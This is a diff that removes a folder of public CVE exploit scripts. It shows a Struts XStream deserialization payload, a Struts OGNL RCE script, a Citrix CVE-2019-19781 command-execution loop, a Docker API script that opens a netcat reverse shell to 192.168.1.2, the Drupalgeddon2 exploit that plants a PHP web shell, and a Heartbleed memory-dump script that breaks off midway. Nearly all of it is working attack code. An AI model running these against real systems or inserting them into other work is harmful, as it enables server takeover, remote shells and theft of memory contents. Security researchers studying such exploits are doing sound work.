-ZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRp
-bWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcv
-YXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFs
-L3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQAQamF2YS9sYW5nL1RocmVhZAcAKgEA
-BXNsZWVwAQAEKEopVgwALAAtCgArAC4BAA1TdGFja01hcFRhYmxlAQAeeXNvc2VyaWFsL1B3bmVy
-MTY3MTMxNTc4NjQ1ODk0AQAgTHlzb3NlcmlhbC9Qd25lcjE2NzEzMTU3ODY0NTg5NDsAIQACAAMA
-AQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0A
-AAAGAAEAAAAuAA4AAAAMAAEAAAAFAA8AMgAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0A
-AAAGAAEAAAAzAA4AAAAgAAMAAAABAA8AMgAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAa
-AAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA3AA4AAAAqAAQAAAABAA8AMgAA
-AAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAiAAMA
-AgAAAA2nAAMBTBEnEIW4AC+xAAAAAQAwAAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJ
-</byte-array>
-                            <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFu
-dFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEA
-EkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2Vy
-aWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2
-YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xh
-bmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRp
-bC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQAB
-AAAABSq3AAGxAAAAAgANAAAABgABAAAAOwAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAA
-AAoAAQACABYAEAAJ</byte-array>
-                          </__bytecodes>
-                          <__transletIndex>-1</__transletIndex>
-                          <__indentNumber>0</__indentNumber>
-                        </default>
-                        <boolean>false</boolean>
-                      </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
-                    </next>
-                  </iter>
-                  <filter class="javax.imageio.ImageIO$ContainsFilter">
-                    <method>
-                      <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
-                      <name>newTransformer</name>
-                      <parameter-types/>
-                    </method>
-                    <name>foo</name>
-                  </filter>
-                  <next class="string">foo</next>
-                </serviceIterator>
-                <lock/>
-              </cipher>
-              <input class="java.lang.ProcessBuilder$NullInputStream"/>
-              <ibuffer/>
-              <done>false</done>
-              <ostart>0</ostart>
-              <ofinish>0</ofinish>
-              <closed>false</closed>
-            </is>
-            <consumed>false</consumed>
-          </dataSource>
-          <transferFlavors/>
-        </dataHandler>
-        <dataLen>0</dataLen>
-      </value>
-    </jdk.nashorn.internal.objects.NativeString>
-    <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
-  </entry>
-  <entry>
-    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
-    <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
-  </entry>
-</map>
-"""
-    headers = {
-        'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2017-9805)',
-        # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
-        'Referer': str(url),
-        'Content-Type': 'application/xml',
-        'Accept': '*/*'
-    }
-
-    timeout = 8
-    try:
-        requests.post(url, data=payload_sleep_based_10seconds, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
-        # if the response returned before the request timeout.
-        # then, the host should not be vulnerable.
-        # The request should return > 10 seconds, while the timeout is 8.
-        result = False
-    except Exception:
-        result = True
-    return(result)
-
-
-def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
-    if url:
-        if not do_exploit:
-            result = check(url)
-            output = '[*] Status: '
-            if result is True:
-                output += 'Vulnerable!'
-            else:
-                output += 'Not Affected.'
-            print(output)
-        else:
-            exploit(url, cmd)
-            print("[$] Request sent.")
-            print("[.] If the host is vulnerable, the command will be executed in the background.")
-
-    if usedlist:
-        URLs_List = []
-        try:
-            f_file = open(str(usedlist), 'r')
-            URLs_List = f_file.read().replace('\r', '').split('\n')
-            try:
-                URLs_List.remove('')
-            except ValueError:
-                pass
-            f_file.close()
-        except Exception as e:
-            print('Error: There was an error in reading list file.')
-            print("Exception: " + str(e))
-            exit(1)
-        for url in URLs_List:
-            if not do_exploit:
-                result = check(url)
-                output = '[*] Status: '
-                if result is True:
-                    output += 'Vulnerable!'
-                else:
-                    output += 'Not Affected.'
-                print(output)
-            else:
-                exploit(url, cmd)
-                print("[$] Request sent.")
-                print("[.] If the host is vulnerable, the command will be executed in the background.")
-
-    print('[%] Done.')
-
-if __name__ == '__main__':
-    try:
-        main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
-    except KeyboardInterrupt:
-        print('\nKeyboardInterrupt Detected.')
-        print('Exiting...')
-        exit(0)

CVE Exploits/Apache Struts 2 CVE-2018-11776.py

@@ -1,231 +0,0 @@
-#!/usr/bin/env python3
-# coding=utf-8
-# *****************************************************
-# struts-pwn: Apache Struts CVE-2018-11776 Exploit
-# Author:
-# Mazin Ahmed <Mazin AT MazinAhmed DOT net>
-# This code uses a payload from:
-# https://github.com/jas502n/St2-057
-# *****************************************************
-
-from __future__ import print_function
-from future import standard_library
-standard_library.install_aliases()
-from builtins import str
-from builtins import range
-import argparse
-import random
-import requests
-import sys
-try:
-    from urllib import parse as urlparse
-except ImportError:
-    import urllib.parse
-
-# Disable SSL warnings
-try:
-    import requests.packages.urllib3
-    requests.packages.urllib3.disable_warnings()
-except Exception:
-    pass
-
-if len(sys.argv) <= 1:
-    print('[*] CVE: 2018-11776 - Apache Struts2 S2-057')
-    print('[*] Struts-PWN - @mazen160')
-    print('\n%s -h for help.' % (sys.argv[0]))
-    exit(0)
-
-
-parser = argparse.ArgumentParser()
-parser.add_argument("-u", "--url",
-                    dest="url",
-                    help="Check a single URL.",
-                    action='store')
-parser.add_argument("-l", "--list",
-                    dest="usedlist",
-                    help="Check a list of URLs.",
-                    action='store')
-parser.add_argument("-c", "--cmd",
-                    dest="cmd",
-                    help="Command to execute. (Default: 'id')",
-                    action='store',
-                    default='id')
-parser.add_argument("--exploit",
-                    dest="do_exploit",
-                    help="Exploit.",
-                    action='store_true')
-
-
-args = parser.parse_args()
-url = args.url if args.url else None
-usedlist = args.usedlist if args.usedlist else None
-cmd = args.cmd if args.cmd else None
-do_exploit = args.do_exploit if args.do_exploit else None
-
-headers = {
-    'User-Agent': 'struts-pwn (https://github.com/mazen160/struts-pwn_CVE-2018-11776)',
-    # 'User-Agent': 'Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36',
-    'Accept': '*/*'
-}
-timeout = 3
-
-
-def parse_url(url):
-    """
-    Parses the URL.
-    """
-
-    # url: http://example.com/demo/struts2-showcase/index.action
-
-    url = url.replace('#', '%23')
-    url = url.replace(' ', '%20')
-
-    if ('://' not in url):
-        url = str("http://") + str(url)
-    scheme = urllib.parse.urlparse(url).scheme
-
-    # Site: http://example.com
-    site = scheme + '://' + urllib.parse.urlparse(url).netloc
-
-    # FilePath: /demo/struts2-showcase/index.action
-    file_path = urllib.parse.urlparse(url).path
-    if (file_path == ''):
-        file_path = '/'
-
-    # Filename: index.action
-    try:
-        filename = url.split('/')[-1]
-    except IndexError:
-        filename = ''
-
-    # File Dir: /demo/struts2-showcase/
-    file_dir = file_path.rstrip(filename)
-    if (file_dir == ''):
-        file_dir = '/'
-
-    return({"site": site,
-            "file_dir": file_dir,
-            "filename": filename})
-
-
-def build_injection_inputs(url):
-    """
-    Builds injection inputs for the check.
-    """
-
-    parsed_url = parse_url(url)
-    injection_inputs = []
-    url_directories = parsed_url["file_dir"].split("/")
-
-    try:
-        url_directories.remove("")
-    except ValueError:
-        pass
-
-    for i in range(len(url_directories)):
-        injection_entry = "/".join(url_directories[:i])
-
-        if not injection_entry.startswith("/"):
-            injection_entry = "/%s" % (injection_entry)
-
-        if not injection_entry.endswith("/"):
-            injection_entry = "%s/" % (injection_entry)
-
-        injection_entry += "{{INJECTION_POINT}}/"  # It will be renderred later with the payload.
-        injection_entry += parsed_url["filename"]
-
-        injection_inputs.append(injection_entry)
-
-    return(injection_inputs)
-
-
-def check(url):
-    random_value = int(''.join(random.choice('0123456789') for i in range(2)))
-    multiplication_value = random_value * random_value
-    injection_points = build_injection_inputs(url)
-    parsed_url = parse_url(url)
-    print("[%] Checking for CVE-2018-11776")
-    print("[*] URL: %s" % (url))
-    print("[*] Total of Attempts: (%s)" % (len(injection_points)))
-    attempts_counter = 0
-
-    for injection_point in injection_points:
-        attempts_counter += 1
-        print("[%s/%s]" % (attempts_counter, len(injection_points)))
-        testing_url = "%s%s" % (parsed_url["site"], injection_point)
-        testing_url = testing_url.replace("{{INJECTION_POINT}}", "${{%s*%s}}" % (random_value, random_value))
-        try:
-            resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
-        except Exception as e:
-            print("EXCEPTION::::--> " + str(e))
-            continue
-        if "Location" in list(resp.headers.keys()):
-            if str(multiplication_value) in resp.headers['Location']:
-                print("[*] Status: Vulnerable!")
-                return(injection_point)
-    print("[*] Status: Not Affected.")
-    return(None)
-
-
-def exploit(url, cmd):
-    parsed_url = parse_url(url)
-
-    injection_point = check(url)
-    if injection_point is None:
-        print("[%] Target is not vulnerable.")
-        return(0)
-    print("[%] Exploiting...")
-
-    payload = """%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27{0}%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D""".format(cmd)
-
-    testing_url = "%s%s" % (parsed_url["site"], injection_point)
-    testing_url = testing_url.replace("{{INJECTION_POINT}}", payload)
-
-    try:
-        resp = requests.get(testing_url, headers=headers, verify=False, timeout=timeout, allow_redirects=False)
-    except Exception as e:
-        print("EXCEPTION::::--> " + str(e))
-        return(1)
-
-    print("[%] Response:")
-    print(resp.text)
-    return(0)
-
-
-def main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit):
-    if url:
-        if not do_exploit:
-            check(url)
-        else:
-            exploit(url, cmd)
-
-    if usedlist:
-        URLs_List = []
-        try:
-            f_file = open(str(usedlist), "r")
-            URLs_List = f_file.read().replace("\r", "").split("\n")
-            try:
-                URLs_List.remove("")
-            except ValueError:
-                pass
-            f_file.close()
-        except Exception as e:
-            print("Error: There was an error in reading list file.")
-            print("Exception: " + str(e))
-            exit(1)
-        for url in URLs_List:
-            if not do_exploit:
-                check(url)
-            else:
-                exploit(url, cmd)
-
-    print("[%] Done.")
-
-
-if __name__ == "__main__":
-    try:
-        main(url=url, usedlist=usedlist, cmd=cmd, do_exploit=do_exploit)
-    except KeyboardInterrupt:
-        print("\nKeyboardInterrupt Detected.")
-        print("Exiting...")
-        exit(0)

CVE Exploits/Citrix CVE-2019-19781.py

@@ -1,51 +0,0 @@
-#!/usr/bin/env python
-# https://github.com/mpgn/CVE-2019-19781
-# # #
-
-import requests
-import string
-import random
-import re
-import sys
-from requests.packages.urllib3.exceptions import InsecureRequestWarning
-requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
-
-print("CVE-2019-19781 - Remote Code Execution in Citrix Application Delivery Controller and Citrix Gateway")
-print("Found by Mikhail Klyuchnikov")
-print("")
-
-if len(sys.argv) < 2:
-  print("[-] No URL provided")
-  sys.exit(0)
-
-while True:
-    try:
-      command = input("command > ")
-
-      random_xml = ''.join(random.choices(string.ascii_uppercase + string.digits, k=12))
-      print("[+] Adding bookmark", random_xml + ".xml")
-
-      burp0_url = sys.argv[1] + "/vpn/../vpns/portal/scripts/newbm.pl"
-      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
-                      random_xml, "NSC_NONCE": "c", "Connection": "close"}
-      burp0_data = {"url": "http://exemple.com", "title": "[%t=template.new({'BLOCK'='print `" + str(command) + "`'})%][ % t % ]", "desc": "test", "UI_inuse": "RfWeb"}
-      r = requests.post(burp0_url, headers=burp0_headers, data=burp0_data,verify=False)
-
-      if r.status_code == 200:
-        print("[+] Bookmark added")
-      else:
-        print("\n[-] Target not vulnerable or something went wrong")
-        sys.exit(0)
-
-      burp0_url = sys.argv[1] + "/vpns/portal/" + random_xml + ".xml"
-      burp0_headers = {"NSC_USER": "../../../../netscaler/portal/templates/" +
-                       random_xml, "NSC_NONCE": "c", "Connection": "close"}
-      r = requests.get(burp0_url, headers=burp0_headers,verify=False)
-
-      replaced = re.sub('^&#.*&#10;$', '', r.text, flags=re.MULTILINE)
-      print("[+] Result of the command: \n")
-      print(replaced)
-
-    except KeyboardInterrupt:
-            print("Exiting...")
-            break

CVE Exploits/Docker API RCE.py

@@ -1,49 +0,0 @@
-from __future__ import print_function
-import requests
-import logging
-import json
-import urllib.parse
-
-# NOTE
-# Enable Remote API with the following command
-# /usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock
-# This is an intended feature, remember to filter the port 2375..
-
-name          = "docker"
-description   = "Docker RCE via Open Docker API on port 2375"
-author        = "Swissky"
-
-# Step 1 - Extract id and name from each container
-ip   = "127.0.0.1"
-port = "2375"
-data = "containers/json"
-url  = "http://{}:{}/{}".format(ip, port, data)
-r = requests.get(url)
-
-if r.json:
-    for container in r.json():
-        container_id   = container['Id']
-        container_name = container['Names'][0].replace('/','')
-        print((container_id, container_name))
-
-        # Step 2 - Prepare command
-        cmd = '["nc", "192.168.1.2", "4242", "-e", "/bin/sh"]'
-        data = "containers/{}/exec".format(container_name)
-        url = "http://{}:{}/{}".format(ip, port, data)
-        post_json = '{ "AttachStdin":false,"AttachStdout":true,"AttachStderr":true, "Tty":false, "Cmd":'+cmd+' }'
-        post_header = {
-            "Content-Type": "application/json"
-        }
-        r = requests.post(url, json=json.loads(post_json))
-
-
-        # Step 3 - Execute command
-        id_cmd = r.json()['Id']
-        data = "exec/{}/start".format(id_cmd)
-        url = "http://{}:{}/{}".format(ip, port, data)
-        post_json = '{ "Detach":false,"Tty":false}'
-        post_header = {
-            "Content-Type": "application/json"
-        }
-        r = requests.post(url, json=json.loads(post_json))
-        print(r)

CVE Exploits/Drupalgeddon2 CVE-2018-7600.rb

@@ -1,308 +0,0 @@
-#!/usr/bin/env ruby
-#
-# [CVE-2018-7600] Drupal < 7.58 / < 8.3.9 / < 8.4.6 / < 8.5.1 - 'Drupalgeddon2' (SA-CORE-2018-002) ~ https://github.com/dreadlocked/Drupalgeddon2/
-#
-# Authors:
-# - Hans Topo ~ https://github.com/dreadlocked // https://twitter.com/_dreadlocked
-# - g0tmi1k   ~ https://blog.g0tmi1k.com/ // https://twitter.com/g0tmi1k
-#
-
-
-require 'base64'
-require 'json'
-require 'net/http'
-require 'openssl'
-require 'readline'
-
-
-# Settings - Proxy information (nil to disable)
-proxy_addr = nil
-proxy_port = 8080
-
-
-# Settings - General
-$useragent = "drupalgeddon2"
-webshell = "s.php"
-writeshell = true
-
-
-# Settings - Payload (we could just be happy without this, but we can do better!)
-#bashcmd = "<?php if( isset( $_REQUEST[c] ) ) { eval( $_GET[c]) ); } ?>'
-bashcmd = "<?php if( isset( $_REQUEST['c'] ) ) { system( $_REQUEST['c'] . ' 2>&1' ); }"
-bashcmd = "echo " + Base64.strict_encode64(bashcmd) + " | base64 -d"
-
-
-# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-# Function http_post <url> [post]
-def http_post(url, payload="")
-  uri = URI(url)
-  request = Net::HTTP::Post.new(uri.request_uri)
-  request.initialize_http_header({"User-Agent" => $useragent})
-  request.body = payload
-  return $http.request(request)
-end
-
-
-# Function gen_evil_url <cmd>
-def gen_evil_url(evil, feedback=true)
-  # PHP function to use (don't forget about disabled functions...)
-  phpmethod = $drupalverion.start_with?('8')? "exec" : "passthru"
-
-  #puts "[*] PHP cmd: #{phpmethod}" if feedback
-  puts "[*] Payload: #{evil}" if feedback
-
-  ## Check the version to match the payload
-  # Vulnerable Parameters: #access_callback / #lazy_builder / #pre_render / #post_render
-  if $drupalverion.start_with?('8')
-    # Method #1 - Drupal 8, mail, #post_render - response is 200
-    url = $target + "user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
-    payload = "form_id=user_register_form&_drupal_ajax=1&mail[a][#post_render][]=" + phpmethod + "&mail[a][#type]=markup&mail[a][#markup]=" + evil
-
-    # Method #2 - Drupal 8,  timezone, #lazy_builder - response is 500 & blind (will need to disable target check for this to work!)
-    #url = $target + "user/register%3Felement_parents=timezone/timezone/%23value&ajax_form=1&_wrapper_format=drupal_ajax"
-    #payload = "form_id=user_register_form&_drupal_ajax=1&timezone[a][#lazy_builder][]=exec&timezone[a][#lazy_builder][][]=" + evil
-  elsif $drupalverion.start_with?('7')
-    # Method #3 - Drupal 7, name, #post_render - response is 200
-    url = $target + "?q=user/password&name[%23post_render][]=" + phpmethod + "&name[%23type]=markup&name[%23markup]=" + evil
-    payload = "form_id=user_pass&_triggering_element_name=name"
-  else
-    puts "[!] Unsupported Drupal version"
-    exit
-  end
-
-  # Drupal v7 needs an extra value from a form
-  if $drupalverion.start_with?('7')
-    response = http_post(url, payload)
-
-    form_build_id = response.body.match(/input type="hidden" name="form_build_id" value="(.*)"/).to_s().slice(/value="(.*)"/, 1).to_s.strip
-    puts "[!] WARNING: Didn't detect form_build_id" if form_build_id.empty?
-
-    #url = $target + "file/ajax/name/%23value/" + form_build_id
-    url = $target + "?q=file/ajax/name/%23value/" + form_build_id
-    payload = "form_build_id=" + form_build_id
-  end
-
-  return url, payload
-end
-
-
-# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-# Quick how to use
-if ARGV.empty?
-  puts "Usage: ruby drupalggedon2.rb <target>"
-  puts "       ruby drupalgeddon2.rb https://example.com"
-  exit
-end
-# Read in values
-$target = ARGV[0]
-
-
-# Check input for protocol
-if not $target.start_with?('http')
-  $target = "http://#{$target}"
-end
-# Check input for the end
-if not $target.end_with?('/')
-  $target += "/"
-end
-
-
-# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-# Banner
-puts "[*] --==[::#Drupalggedon2::]==--"
-puts "-"*80
-puts "[*] Target : #{$target}"
-puts "[*] Write? : Skipping writing web shell" if not writeshell
-puts "-"*80
-
-
-# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-# Setup connection
-uri = URI($target)
-$http = Net::HTTP.new(uri.host, uri.port, proxy_addr, proxy_port)
-
-
-# Use SSL/TLS if needed
-if uri.scheme == "https"
-  $http.use_ssl = true
-  $http.verify_mode = OpenSSL::SSL::VERIFY_NONE
-end
-
-
-# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-# Try and get version
-$drupalverion = nil
-# Possible URLs
-url = [
-  $target + "CHANGELOG.txt",
-  $target + "core/CHANGELOG.txt",
-  $target + "includes/bootstrap.inc",
-  $target + "core/includes/bootstrap.inc",
-]
-# Check all
-url.each do|uri|
-  # Check response
-  response = http_post(uri)
-
-  if response.code == "200"
-    puts "[+] Found  : #{uri} (#{response.code})"
-
-    # Patched already?
-    puts "[!] WARNING: Might be patched! Found SA-CORE-2018-002: #{url}" if response.body.include? "SA-CORE-2018-002"
-
-    # Try and get version from the file contents
-    $drupalverion = response.body.match(/Drupal (.*),/).to_s.slice(/Drupal (.*),/, 1).to_s.strip
-
-    # If not, try and get it from the URL
-    $drupalverion = uri.match(/core/)? "8.x" : "7.x" if $drupalverion.empty?
-
-    # Done!
-    break
-  elsif response.code == "403"
-    puts "[+] Found  : #{uri} (#{response.code})"
-
-    # Get version from URL
-    $drupalverion = uri.match(/core/)? "8.x" : "7.x"
-  else
-    puts "[!] MISSING: #{uri} (#{response.code})"
-  end
-end
-
-
-# Feedback
-if $drupalverion
-  status = $drupalverion.end_with?('x')? "?" : "!"
-  puts "[+] Drupal#{status}: #{$drupalverion}"
-else
-  puts "[!] Didn't detect Drupal version"
-  puts "[!] Forcing Drupal v8.x attack"
-  $drupalverion = "8.x"
-end
-puts "-"*80
-
-
-
-# - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
-
-
-
-# Make a request, testing code execution
-puts "[*] Testing: Code Execution"
-# Generate a random string to see if we can echo it
-random = (0...8).map { (65 + rand(26)).chr }.join
-url, payload = gen_evil_url("echo #{random}")
-response = http_post(url, payload)
-if response.code == "200" and not response.body.empty?
-  #result = JSON.pretty_generate(JSON[response.body])
-  result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
-  puts "[+] Result : #{result}"
-
-  puts response.body.match(/#{random}/)? "[+] Good News Everyone! Target seems to be exploitable (Code execution)! w00hooOO!" : "[+] Target might to be exploitable?"
-else
-  puts "[!] Target is NOT exploitable ~ HTTP Response: #{response.code}"
-  exit
-end
-puts "-"*80
-
-
-# Location of web shell & used to signal if using PHP shell
-webshellpath = nil
-prompt = "drupalgeddon2"
-# Possibles paths to try
-paths = [
-  "./",
-  "./sites/default/",
-  "./sites/default/files/",
-]
-# Check all
-paths.each do|path|
-  puts "[*] Testing: File Write To Web Root (#{path})"
-
-  # Merge locations
-  webshellpath = "#{path}#{webshell}"
-
-  # Final command to execute
-  cmd = "#{bashcmd} | tee #{webshellpath}"
-
-  # Generate evil URLs
-  url, payload = gen_evil_url(cmd)
-  # Make the request
-  response = http_post(url, payload)
-  # Check result
-  if response.code == "200" and not response.body.empty?
-    # Feedback
-    #result = JSON.pretty_generate(JSON[response.body])
-    result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
-    puts "[+] Result : #{result}"
-
-    # Test to see if backdoor is there (if we managed to write it)
-    response = http_post("#{$target}#{webshellpath}", "c=hostname")
-    if response.code == "200" and not response.body.empty?
-      puts "[+] Very Good News Everyone! Wrote to the web root! Waayheeeey!!!"
-      break
-    else
-      puts "[!] Target is NOT exploitable. No write access here!"
-    end
-  else
-    puts "[!] Target is NOT exploitable for some reason ~ HTTP Response: #{response.code}"
-  end
-  webshellpath = nil
-end if writeshell
-puts "-"*80 if writeshell
-
-if webshellpath
-  # Get hostname for the prompt
-  prompt = response.body.to_s.strip
-
-  # Feedback
-  puts "[*] Fake shell:   curl '#{$target}#{webshell}' -d 'c=whoami'"
-elsif writeshell
-  puts "[!] FAILED: Coudn't find writeable web path"
-  puts "[*] Dropping back direct commands (expect an ugly shell!)"
-end
-
-
-# Stop any CTRL + C action ;)
-trap("INT", "SIG_IGN")
-
-
-# Forever loop
-loop do
-  # Default value
-  result = "ERROR"
-
-  # Get input
-  command = Readline.readline("#{prompt}>> ", true).to_s
-
-  # Exit
-  break if command =~ /exit/
-
-  # Blank link?
-  next if command.empty?
-
-  # If PHP shell
-  if webshellpath
-    # Send request
-    result = http_post("#{$target}#{webshell}", "c=#{command}").body
-  # Direct commands
-  else
-    url, payload = gen_evil_url(command, false)
-    response = http_post(url, payload)
-    if response.code == "200" and not response.body.empty?
-      result = $drupalverion.start_with?('8')? JSON.parse(response.body)[0]["data"] : response.body
-    end
-  end
-
-  # Feedback
-  puts result
-end

CVE Exploits/Heartbleed CVE-2014-0160.py

@@ -1,216 +0,0 @@
-#!/usr/bin/python
-
-# Quick and dirty demonstration of CVE-2014-0160 originally by Jared Stafford (jspenguin@jspenguin.org)
-# The author disclaims copyright to this source code.
-# Modified by SensePost based on lots of other people's efforts (hard to work out credit via PasteBin)
-
-from __future__ import print_function
-from builtins import str
-from builtins import range
-import sys
-import struct
-import socket
-import time
-import select
-import re
-from optparse import OptionParser
-import smtplib
-
-options = OptionParser(usage='%prog server [options]', description='Test for SSL heartbeat vulnerability (CVE-2014-0160)')
-options.add_option('-p', '--port', type='int', default=443, help='TCP port to test (default: 443)')
-options.add_option('-n', '--num', type='int', default=1, help='Number of heartbeats to send if vulnerable (defines how much memory you get back) (default: 1)')
-options.add_option('-f', '--file', type='str', default='dump.bin', help='Filename to write dumped memory too (default: dump.bin)')
-options.add_option('-q', '--quiet', default=False, help='Do not display the memory dump', action='store_true')
-options.add_option('-s', '--starttls', action='store_true', default=False, help='Check STARTTLS (smtp only right now)')
-
-def h2bin(x):
-	return x.replace(' ', '').replace('\n', '').decode('hex')
-
-hello = h2bin('''
-16 03 02 00  dc 01 00 00 d8 03 02 53
-43 5b 90 9d 9b 72 0b bc  0c bc 2b 92 a8 48 97 cf
-bd 39 04 cc 16 0a 85 03  90 9f 77 04 33 d4 de 00
-00 66 c0 14 c0 0a c0 22  c0 21 00 39 00 38 00 88
-00 87 c0 0f c0 05 00 35  00 84 c0 12 c0 08 c0 1c
-c0 1b 00 16 00 13 c0 0d  c0 03 00 0a c0 13 c0 09
-c0 1f c0 1e 00 33 00 32  00 9a 00 99 00 45 00 44
-c0 0e c0 04 00 2f 00 96  00 41 c0 11 c0 07 c0 0c
-c0 02 00 05 00 04 00 15  00 12 00 09 00 14 00 11
-00 08 00 06 00 03 00 ff  01 00 00 49 00 0b 00 04
-03 00 01 02 00 0a 00 34  00 32 00 0e 00 0d 00 19
-00 0b 00 0c 00 18 00 09  00 0a 00 16 00 17 00 08
-00 06 00 07 00 14 00 15  00 04 00 05 00 12 00 13
-00 01 00 02 00 03 00 0f  00 10 00 11 00 23 00 00
-00 0f 00 01 01
-''')
-
-hbv10 = h2bin('''
-18 03 01 00 03
-01 40 00
-''')
-
-hbv11 = h2bin('''
-18 03 02 00 03
-01 40 00
-''')
-
-hbv12 = h2bin('''
-18 03 03 00 03
-01 40 00
-''')
-
-def hexdump(s, dumpf, quiet):
-	dump = open(dumpf,'a')
-	dump.write(s)
-	dump.close()
-	if quiet: return
-	for b in range(0, len(s), 16):
-		lin = [c for c in s[b : b + 16]]
-		hxdat = ' '.join('%02X' % ord(c) for c in lin)
-		pdat = ''.join((c if 32 <= ord(c) <= 126 else '.' )for c in lin)
-		print('  %04x: %-48s %s' % (b, hxdat, pdat))
-	print()
-
-def recvall(s, length, timeout=5):
-	endtime = time.time() + timeout
-	rdata = ''
-	remain = length
-	while remain > 0:
-		rtime = endtime - time.time()
-		if rtime < 0:
-			if not rdata:
-				return None
-			else:
-				return rdata
-		r, w, e = select.select([s], [], [], 5)
-		if s in r:
-			data = s.recv(remain)
-			# EOF?
-			if not data:
-				return None
-			rdata += data
-			remain -= len(data)
-	return rdata
-
-def recvmsg(s):
-	hdr = recvall(s, 5)
-	if hdr is None:
-		print('Unexpected EOF receiving record header - server closed connection')
-		return None, None, None
-	typ, ver, ln = struct.unpack('>BHH', hdr)
-	pay = recvall(s, ln, 10)
-	if pay is None:
-		print('Unexpected EOF receiving record payload - server closed connection')
-		return None, None, None
-	print(' ... received message: type = %d, ver = %04x, length = %d' % (typ, ver, len(pay)))
-	return typ, ver, pay
-
-def hit_hb(s, dumpf, host, quiet):
-	while True:
-		typ, ver, pay = recvmsg(s)
-		if typ is None:
-			print('No heartbeat response received from '+host+', server likely not vulnerable')
-			return False
-
-		if typ == 24:
-			if not quiet: print('Received heartbeat response:')
-			hexdump(pay, dumpf, quiet)
-			if len(pay) > 3:
-				print('WARNING: server '+ host +' returned more data than it should - server is vulnerable!')
-			else:
-				print('Server '+host+' processed malformed heartbeat, but did not return any extra data.')
-			return True
-
-		if typ == 21:
-			if not quiet: print('Received alert:')
-			hexdump(pay, dumpf, quiet)
-			print('Server '+ host +' returned error, likely not vulnerable')
-			return False
-
-def connect(host, port, quiet):
-	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
-	if not quiet: print('Connecting...')
-	sys.stdout.flush()
-	s.connect((host, port))
-	return s
-
-def tls(s, quiet):
-	if not quiet: print('Sending Client Hello...')
-	sys.stdout.flush()
-	s.send(hello)
-	if not quiet: print('Waiting for Server Hello...')
-	sys.stdout.flush()
-
-def parseresp(s):
-	while True:
-		typ, ver, pay = recvmsg(s)
